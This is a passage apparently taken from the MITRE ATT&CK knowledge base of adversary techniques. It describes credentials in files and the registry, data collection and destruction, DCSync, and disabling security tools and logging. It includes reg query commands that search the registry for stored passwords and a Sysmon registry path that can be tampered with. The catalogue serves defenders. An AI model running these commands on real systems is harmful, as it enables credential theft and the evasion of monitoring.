It is possible to extract passwords from backups or saved virtual machines through OS Credential Dumping. (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)

In cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)
T1081Credentials in FilesAdversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.

It is possible to extract passwords from backups or saved virtual machines through OS Credential Dumping. (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)

In cloud environments, authenticated user credentials are often stored in local configuration and credential files. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files. (Citation: Specter Ops - Cloud Credential Storage)
T1214Credentials in RegistryThe Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.

Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)

- Local Machine Hive: reg query HKLM /f password /t REG_SZ /s
- Current User Hive: reg query HKCU /f password /t REG_SZ /s
T1552.002Credentials in RegistryAdversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.

Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)

- Local Machine Hive: reg query HKLM /f password /t REG_SZ /s
- Current User Hive: reg query HKCU /f password /t REG_SZ /s
T1053.003CronAdversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.

An adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for Persistence.
T1094Custom Command and Control ProtocolAdversaries may communicate using a custom command and control protocol instead of encapsulating commands/data in an existing Application Layer Protocol. Implementations include mimicking well-known protocols or developing custom protocols (including raw sockets) on top of fundamental protocols provided by TCP/IP/another standard network stack.
T1024Custom Cryptographic ProtocolAdversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.

Custom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.

Some adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)
T1002Data CompressedAn adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.
T1485Data DestructionAdversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from Disk Content Wipe and Disk Structure Wipe because individual files are destroyed rather than sections of a storage disk or the disk’s logical structure.

Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)

To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like Valid AccountsOS Credential Dumping, and SMB/Windows Admin Shares.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).

In cloud environments, adversaries may leverage access to delete cloud storage, cloud storage accounts, machine images, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider)
T1132Data EncodingAdversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.
T1022Data EncryptedData is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.

Other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over C2 Channel and Exfiltration Over Alternative Protocol
T1486Data Encrypted for ImpactAdversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018)

In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as File and Directory Permissions Modification or System Shutdown/Reboot, in order to unlock and/or gain access to manipulate these files.(Citation: CarbonBlack Conti July 2020) In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017)

To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like Valid AccountsOS Credential Dumping, and SMB/Windows Admin Shares.(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017) Encryption malware may also leverage Internal Defacement, such as changing victim wallpapers, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as “print bombing”).(Citation: NHS Digital Egregor Nov 2020)

In cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1)
T1530Data from Cloud StorageAdversaries may access data from improperly secured cloud storage.

Many cloud service providers offer solutions for online data object storage such as Amazon S3, Azure Storage, and Google Cloud Storage. These solutions differ from other storage solutions (such as SQL or Elasticsearch) in that there is no overarching application. Data from these solutions can be retrieved directly using the cloud provider’s APIs.

In other cases, SaaS application providers such as Slack, Confluence, and Salesforce also provide cloud storage solutions as a peripheral use case of their platform. These cloud objects can be extracted directly from their associated application.(Citation: EA Hacked via Slack - June 2021)(Citation: SecureWorld - How Secure Is Your Slack Channel - Dec 2021)(Citation: HackerNews - 3 SaaS App Cyber Attacks - April 2022)(Citation: Dark Clouds_Usenix_Mulazzani_08_2011)

Adversaries may collect sensitive data from these cloud storage solutions. Providers typically offer security guides to help end users configure systems, though misconfigurations are a common problem.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019) There have been numerous incidents where cloud storage has been improperly secured, typically by unintentionally allowing public access to unauthenticated users, overly-broad access by all users, or even access for any anonymous person outside the control of the Identity Access Management system without even needing basic user permissions.

This open access may expose various types of sensitive data, such as credit cards, personally identifiable information, or medical records.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017)(Citation: Rclone-mega-extortion_05_2021)

Adversaries may also obtain then abuse leaked credentials from source repositories, logs, or other means as a way to gain access to cloud storage objects.
T1602Data from Configuration RepositoryAdversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices.

Adversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.(Citation: US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017)
T1213Data from Information RepositoriesAdversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization.

The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:

- Policies, procedures, and standards
- Physical / logical network diagrams
- System architecture diagrams
- Technical system documentation
- Testing / development credentials
- Work / project schedules
- Source code snippets
- Links to network shares and other internal resources

Information stored in a repository may vary based on the specific instance or environment. Specific common information repositories include web-based platforms such as Sharepoint and Confluence, specific services such as Code Repositories, IaaS databases, enterprise databases, and other storage infrastructure such as SQL Server.
T1005Data from Local SystemAdversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.

Adversaries may do this using a Command and Scripting Interpreter, such as cmd as well as a Network Device CLI, which have functionality to interact with the file system to gather information.(Citation: show_run_config_cmd_cisco) Adversaries may also use Automated Collection on the local system.
T1039Data from Network Shared DriveAdversaries may search network shares on computers they have compromised to find files of interest. Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. Interactive command shells may be in use, and common functionality within cmd may be used to gather information.
T1025Data from Removable MediaAdversaries may search connected removable media on computers they have compromised to find files of interest. Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration. Interactive command shells may be in use, and common functionality within cmd may be used to gather information.

Some adversaries may also use Automated Collection on removable media.
T1565Data ManipulationAdversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.

The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
T1001Data ObfuscationAdversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
T1074Data StagedAdversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as Archive Collected Data. Interactive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017)

In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may Create Cloud Instance and stage data in that instance.(Citation: Mandiant M-Trends 2020)

Adversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection.
T1030Data Transfer Size LimitsAn adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.
T1003.006DCSyncAdversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller’s application programming interface (API)(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync.

Members of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. The hashes can then in turn be used to create a Golden Ticket for use in Pass the Ticket(Citation: Harmj0y Mimikatz and DCSync) or change an account’s password as noted in Account Manipulation.(Citation: InsiderThreat ChangeNTLM July 2017)

DCSync functionality has been included in the “lsadump” module in Mimikatz.(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.(Citation: Microsoft NRPC Dec 2017)
T1102.001Dead Drop ResolverAdversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.

Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Use of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).
T1622Debugger EvasionAdversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.(Citation: ProcessHacker Github)

Debugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment. Similar to Virtualization/Sandbox Evasion, if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for debugger artifacts before dropping secondary or additional payloads.

Specific checks will vary based on the target and/or adversary, but may involve Native API function calls such as IsDebuggerPresent() and NtQueryInformationProcess(), or manually checking the BeingDebugged flag of the Process Environment Block (PEB). Other checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would “swallow” or handle the potential error).(Citation: hasherezade debug)(Citation: AlKhaser Debug)(Citation: vxunderground debug)

Adversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors. Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping Native API function calls such as OutputDebugStringW().(Citation: wardle evilquest partii)(Citation: Checkpoint Dridex Jan 2021)
T1491DefacementAdversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. Reasons for Defacement include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of Defacement in order to cause user discomfort, or to pressure compliance with accompanying messages.
T1078.001Default AccountsAdversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)

Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen Private Keys or credential materials to legitimately connect to remote environments via Remote Services.(Citation: Metasploit SSH Module)
T1578.003Delete Cloud InstanceAn adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence. Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable.

An adversary may also Create Cloud Instance and later terminate the instance after achieving their objectives.(Citation: Mandiant M-Trends 2020)
T1140Deobfuscate/Decode Files or InformationAdversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.

One such example is the use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file.(Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows copy /b command to reassemble binary fragments into a malicious payload.(Citation: Carbon Black Obfuscation Sept 2016)

Sometimes a user’s action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016)
T1610Deploy ContainerAdversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment.

Containers can be deployed by various means, such as via Docker’s create and start APIs or via a web application such as the Kubernetes dashboard or Kubeflow.(Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)
T1591.001Determine Physical LocationsAdversaries may gather the victim’s physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within.

Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: Search Victim-Owned Websites or Social Media).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Phishing or Hardware Additions).
T1587Develop CapabilitiesAdversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020)

As with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary’s development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.
T1652Device Driver DiscoveryAdversaries may attempt to enumerate local device drivers on a victim host. Information about device drivers may highlight various insights that shape follow-on behaviors, such as the function/purpose of the host, present security tools (i.e. Security Software Discovery) or other defenses (e.g., Virtualization/Sandbox Evasion), as well as potential exploitable vulnerabilities (e.g., Exploitation for Privilege Escalation).

Many OS utilities may provide information about local device drivers, such as driverquery.exe and the EnumDeviceDrivers() API function on Windows.(Citation: Microsoft Driverquery)(Citation: Microsoft EnumDeviceDrivers) Information about device drivers (as well as associated services, i.e., System Service Discovery) may also be available in the Registry.(Citation: Microsoft Registry Drivers)

On Linux/macOS, device drivers (in the form of kernel modules) may be visible within /dev or using utilities such as lsmod and modinfo.(Citation: Linux Kernel Programming)(Citation: lsmod man)(Citation: modinfo man)
T1098.005Device RegistrationAdversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.

MFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user’s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account’s first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022)

Similarly, an adversary with existing access to a network may register a device to Azure AD and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537)

Devices registered in Azure AD may be able to conduct Internal Spearphishing campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a Service Exhaustion Flood on an Azure AD tenant by registering a large number of devices.(Citation: AADInternals - BPRT)
T1557.003DHCP SpoofingAdversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as Network Sniffing or Transmitted Data Manipulation.

DHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131) The typical server-client interaction is as follows:

1. The client broadcasts a DISCOVER message.

2. The server responds with an OFFER message, which includes an available network address.

3. The client broadcasts a REQUEST message, which includes the network address offered.

4. The server acknowledges with an ACK message and the client receives the network configuration parameters.


Adversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.

DHCPv6 clients can receive network configuration information without being assigned an IP address by sending a INFORMATION-REQUEST (code 11) message to the All_DHCP_Relay_Agents_and_Servers multicast address.(Citation: rfc3315) Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.

Rather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, Service Exhaustion Flood) by generating many broadcast DISCOVER messages to exhaust a network’s DHCP allocation pool.
T1596.003Digital CertificatesAdversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location.

Adversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup) Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Trusted Relationship).
T1588.004Digital CertificatesAdversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner’s identity, and the digital signature of an entity that has verified the certificate’s contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner.

Adversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: Asymmetric Cryptography with Web Protocols) or even enabling Adversary-in-the-Middle if the certificate is trusted or otherwise added to the root of trust (i.e. Install Root Certificate). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities.(Citation: DiginotarCompromise) Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for.

Certificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free.(Citation: Let’s Encrypt FAQ)

After obtaining a digital certificate, an adversary may then install that certificate (see Install Digital Certificate) on infrastructure under their control.
T1587.003Digital CertificatesAdversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner’s identity, and the digital signature of an entity that has verified the certificate’s contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA).

Adversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: Asymmetric Cryptography with Web Protocols) or even enabling Adversary-in-the-Middle if added to the root of trust (i.e. Install Root Certificate).

After creating a digital certificate, an adversary may then install that certificate (see Install Digital Certificate) on infrastructure under their control.
T1498.001Direct Network FloodAdversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. This DoS attack may also reduce the availability and functionality of the targeted system(s) and network. Direct Network Floods are when one or more systems are used to send a high-volume of network packets towards the targeted service’s network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.

Botnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)
T1006Direct Volume AccessAdversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)

Utilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)
T1562.008Disable Cloud LogsAn adversary may disable cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable logging to avoid detection of their activities.

For example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic) In Office 365, an adversary may disable logging on mail collection activities for specific users by using the Set-MailboxAuditBypassAssociation cmdlet, by disabling M365 Advanced Auditing for the user, or by downgrading the user’s license from an Enterprise E5 to an Enterprise E3 license.(Citation: Dark Reading Microsoft 365 Attacks 2021)
T1600.002Disable Crypto HardwareAdversaries disable a network device’s dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data.

Many network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of Modify System Image, forcing the use of software to perform encryption on general processors. This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., Reduce Key Space). (Citation: Cisco Blog Legacy Device Attacks)
T1562.007Disable or Modify Cloud FirewallAdversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in Disable or Modify System Firewall.

Cloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary may introduce new firewall rules or policies to allow access into a victim cloud environment. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups to allow any TCP/IP connectivity, or remove networking limitations to support traffic associated with malicious activity (such as cryptomining).(Citation: Expel IO Evil in AWS)(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)

Modifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed.
T1562.004Disable or Modify System FirewallAdversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.

Modifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. For example, adversaries may add a new firewall rule for a well-known protocol (such as RDP) using a non-traditional and potentially less securitized port (i.e. Non-Standard Port).(Citation: change_rdp_port_conti)
T1562.001Disable or Modify ToolsAdversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware)

Adversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to Indicator Blocking, adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls)

Adversaries may also focus on specific applications such as Sysmon. For example, the “Start” and “Enable” values in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WMI\Autologger\EventLog-Microsoft-Windows-Sysmon-Operational may be modified to tamper with and potentially disable Sysmon logging.(Citation: disable_win_evt_logging)

In cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor.

Furthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation: dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.(Citation: demystifying_ryuk)

Additionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. Exploitation for Privilege Escalation), which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware)
T1562.002Disable Windows Event LoggingAdversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.

